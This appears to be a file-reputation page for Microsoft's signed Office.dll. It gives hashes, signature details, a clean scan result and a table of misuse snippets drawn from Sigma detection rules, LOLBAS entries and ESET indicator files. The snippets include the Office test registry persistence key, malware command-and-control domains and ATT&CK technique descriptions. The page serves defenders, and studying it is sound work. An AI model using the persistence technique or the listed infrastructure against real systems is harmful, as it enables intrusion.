Office.dll

• File Path: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Office.dll
• Description: Microsoft.Office.Core

Hashes

Type	Hash
MD5	57FDD8BE6071DFC46128DCCAD5E25863
SHA1	F0601F41B06D836183442FE98BECD84400CF98D1
SHA256	0194C022C826D59407487096D208896A2465BA1A4C58EAC1D1AB96D9C2376A7E
SHA384	D12328D6134315401A6BC7EA0D59409358ABCB06A5C9A4EB8B1FB9C7A1B8E6FC76C0308716DC25CB15E6FCDAA7F01D8C
SHA512	C9C44F63862EE6BE2C02489E6AC2DBEE91990734912809A94C73B38DFCCAF98B63F309CE75BE64631CB696788981738400B1C45DFA6872AC552B4BBD6B0E6E2C
SSDEEP	12288:vsVUG62f8eQPrlGC9uk9IsbVYVsTEVcyjlycUn8:vsVUG62f8eQPrjY6VYViEX
IMP	DAE02F32A21E03CE65412F6E56942DAA
PESHA1	FC44CD355B0011F7C2864B1C1F3D9EF2590AAAC1
PE256	813E1FECE65C0944DE77F774604470178AE47ACFB8CDAB1CDE43975566AE4C03

Signature

• Status: Signature verified.
• Serial: 330000010A2C79AED7797BA6AC00010000010A
• Thumbprint: 3BDA323E552DB1FDE5F4FBEE75D6D5B2B187EEDC
• Issuer: CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
• Subject: CN=Microsoft Corporation, OU=MOPR, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

• Original Filename: Core Primary Interop Assembly
• Product Name: Microsoft Office 2010
• Company Name: Microsoft Corporation
• File Version: 14.0.4733.1000
• Product Version: 14.0.4733.1000
• Language: Language Neutral
• Legal Copyright: 2010 Microsoft Corporation. All rights reserved.
• Machine Type: 32-bit

File Scan

• VirusTotal Detections: 0/72
• VirusTotal Link: https://www.virustotal.com/gui/file/0194c022c826d59407487096d208896a2465ba1a4c58eac1d1ab96d9c2376a7e/detection/

Possible Misuse

The following table contains possible examples of Office.dll being misused. While Office.dll is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	godmode_sigma_rule.yml	# Office Dropper Detection	DRL 1.0
sigma	proxy_ua_apt.yml	- 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)' # https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html	DRL 1.0
sigma	sysmon_office_persistence.yml	title: Microsoft Office Add-In Loading	DRL 1.0
sigma	sysmon_susp_office_dotnet_assembly_dll_load.yml	title: dotNET DLL Loaded Via Office Applications	DRL 1.0
sigma	sysmon_susp_office_dotnet_assembly_dll_load.yml	description: Detects any assembly DLL being loaded by an Office Product	DRL 1.0
sigma	sysmon_susp_office_dotnet_clr_dll_load.yml	title: CLR DLL Loaded Via Office Applications	DRL 1.0
sigma	sysmon_susp_office_dotnet_clr_dll_load.yml	description: Detects CLR DLL being loaded by an Office Product	DRL 1.0
sigma	sysmon_susp_office_dotnet_gac_dll_load.yml	title: GAC DLL Loaded Via Office Applications	DRL 1.0
sigma	sysmon_susp_office_dotnet_gac_dll_load.yml	description: Detects any GAC DLL being loaded by an Office Product	DRL 1.0
sigma	sysmon_susp_office_dsparse_dll_load.yml	title: Active Directory Parsing DLL Loaded Via Office Applications	DRL 1.0
sigma	sysmon_susp_office_dsparse_dll_load.yml	description: Detects DSParse DLL being loaded by an Office Product	DRL 1.0
sigma	sysmon_susp_office_kerberos_dll_load.yml	title: Active Directory Kerberos DLL Loaded Via Office Applications	DRL 1.0
sigma	sysmon_susp_office_kerberos_dll_load.yml	description: Detects Kerberos DLL being loaded by an Office Product	DRL 1.0
sigma	sysmon_malware_verclsid_shellcode.yml	description: Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro	DRL 1.0
sigma	sysmon_malware_verclsid_shellcode.yml	SourceImage: '*\Microsoft Office\\*'	DRL 1.0
sigma	win_exploit_cve_2017_11882.yml	- https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw	DRL 1.0
sigma	win_office_shell.yml	title: Microsoft Office Product Spawning Windows Shell	DRL 1.0
sigma	win_office_spawn_exe_from_users_directory.yml	title: MS Office Product Spawning Exe in User Dir	DRL 1.0
sigma	win_susp_msoffice.yml	title: Malicious Payload Download via Office Binaries	DRL 1.0
sigma	win_susp_msoffice.yml	- https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191	DRL 1.0
sigma	sysmon_office_test_regadd.yml	title: Office Application Startup - Office Test	DRL 1.0
sigma	sysmon_office_test_regadd.yml	description: Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed everytime an Office application is started	DRL 1.0
sigma	sysmon_office_test_regadd.yml	- 'HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf'	DRL 1.0
sigma	sysmon_office_test_regadd.yml	- 'HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf'	DRL 1.0
sigma	sysmon_reg_office_security.yml	title: Office Security Settings Changed	DRL 1.0
sigma	sysmon_reg_office_security.yml	description: Detects registry changes to Office macro settings	DRL 1.0
LOLBAS	Winword.yml	Description: Document editor included with Microsoft Office.
LOLBAS	Winword.yml	- Path: c:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
LOLBAS	Appvlp.yml	Description: Application Virtualization Utility Included with Microsoft Office 2016
LOLBAS	Appvlp.yml	OperatingSystem: Windows 10 w/Office 2016
LOLBAS	Appvlp.yml	- Path: C:\Program Files\Microsoft Office\root\client\appvlp.exe
LOLBAS	Appvlp.yml	- Path: C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
LOLBAS	Appvlp.yml	- Link: https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/
LOLBAS	Excel.yml	Description: Microsoft Office binary
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office\Office16\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office\Office15\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office\Office14\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
LOLBAS	Excel.yml	- Path: C:\Program Files\Microsoft Office\Office12\Excel.exe
LOLBAS	Excel.yml	- Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
LOLBAS	Powerpnt.yml	Description: Microsoft Office binary.
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Path: C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
LOLBAS	Powerpnt.yml	- Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
LOLBAS	Sqldumper.yml	- Path: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
LOLBAS	Winword.yml	Description: Microsoft Office binary
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office16\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office\Office16\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office15\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office\Office15\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office\Office14\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files (x86)\Microsoft Office\Office12\winword.exe
LOLBAS	Winword.yml	- Path: C:\Program Files\Microsoft Office\Office12\winword.exe
LOLBAS	Winword.yml	- Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
malware-ioc	misp-dukes-operation-ghost-event.json	"Office Monkeys",	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"https://www.uperesia.com/analyzing-malicious-office-documents"	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"https://github.com/itsreallynick/office-crackros"	© ESET 2014-2018
malware-ioc	gamaredon	\|DFC941F365E065187B5C4A4BF42E770035920856\|C# Office macro injection module\|Win32/Pterodo.XG.gen	© ESET 2014-2018
malware-ioc	gamaredon	\|9AFC9D6D72F78B2EB72C5F2B87BDC7D59C1A14ED\|Batch file/VBScript Office macro injection module\|Win32/Pterodo.ZM	© ESET 2014-2018
malware-ioc	gamaredon	office-constructor.ddns.net	© ESET 2014-2018
malware-ioc	interception	https://km.wu.ac[.]th/image/office.jpg	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"https://www.uperesia.com/analyzing-malicious-office-documents"	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"https://github.com/itsreallynick/office-crackros"	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"Office 365 account logs",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"Office 365",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)",	© ESET 2014-2018
malware-ioc	nouns.txt	office	© ESET 2014-2018
malware-ioc	oceanlotus-macOS.misp.event.json	"https:\/\/github.com\/itsreallynick\/office-crackros",	© ESET 2014-2018
malware-ioc	oceanlotus-rtf_ocx_campaigns.misp.event.json	"value": "office.ourkekwiciver.com",	© ESET 2014-2018
malware-ioc	oceanlotus-rtf_ocx_campaigns.misp.event.json	"description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n===Browser-based Exploitation===\n\nWeb browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n===Office Applications===\n\nCommon office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n===Common Third-party Applications===\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, System calls, Process Monitoring\n\nSystem Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.\n\nRemote Support: Yes",	© ESET 2014-2018
malware-ioc	oceanlotus-rtf_ocx_campaigns.misp.event.json	"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate\/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed\/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux\/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform\/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files\/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL\/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek",	© ESET 2014-2018
malware-ioc	oceanlotus-rtf_ocx_campaigns.misp.event.json	"https:\/\/github.com\/itsreallynick\/office-crackros"]	© ESET 2014-2018
malware-ioc	oceanlotus-rtf_ocx_campaigns.misp.event.json	"description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\n\nDetection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway",	© ESET 2014-2018
malware-ioc	oceanlotus	* office.ourkekwiciver.com``	© ESET 2014-2018
malware-ioc	2017-05-09_Trump_Attack_on_Syria_IoCs.adoc	- 18b7dd3917231d7bae93c11f915e9702aa5d1bbb - Office RCE	© ESET 2014-2018
malware-ioc	2017-05-09_Trump_Attack_on_Syria_IoCs.adoc	- HKCU\Software\Microsoft\Office test\Special\Perf|%TEMP%\apisecconnect.dll``	© ESET 2014-2018
malware-ioc	2017-05-09_Trump_Attack_on_Syria_IoCs.json	"value": "HKCU\\Software\\Microsoft\\Office test\\Special\\Perf\|%TEMP%\\apisecconnect.dll",	© ESET 2014-2018
malware-ioc	part1.adoc	HKCU\Software\Microsoft\Office test\Special\Perf	© ESET 2014-2018
malware-ioc	stantinko	var b = "mts rt megafonpro megafon mpoisk mail google yandex ya rambler youtube dfiles turbobit prom zakupka pravo letitbit ozon urokitio kismia webnice toy mdmbank tele2 roboforex share4web 7do dixy kiino 4allforum delo-press raskachaem satu spmag yugcontract narodnoe materinstvo dimonvideo kia-club deal icloud littlebyte maxpark 24video vdgb trud appsruel tiu blanker aucland office ontabfile microsoft shopotam shareflare autoportal stilagoby malina depositfiles hitfile crocs telecom effectfree forum.calorizator.ru traektoria cdek takko circ-a tinydeal otzyv mamba rusfolder irn labirint vip-file 10.150.0.104".split(" ");	© ESET 2014-2018
malware-ioc	misp-mosquito-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O\u2019 Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-comrat-v4-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-crutch-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy 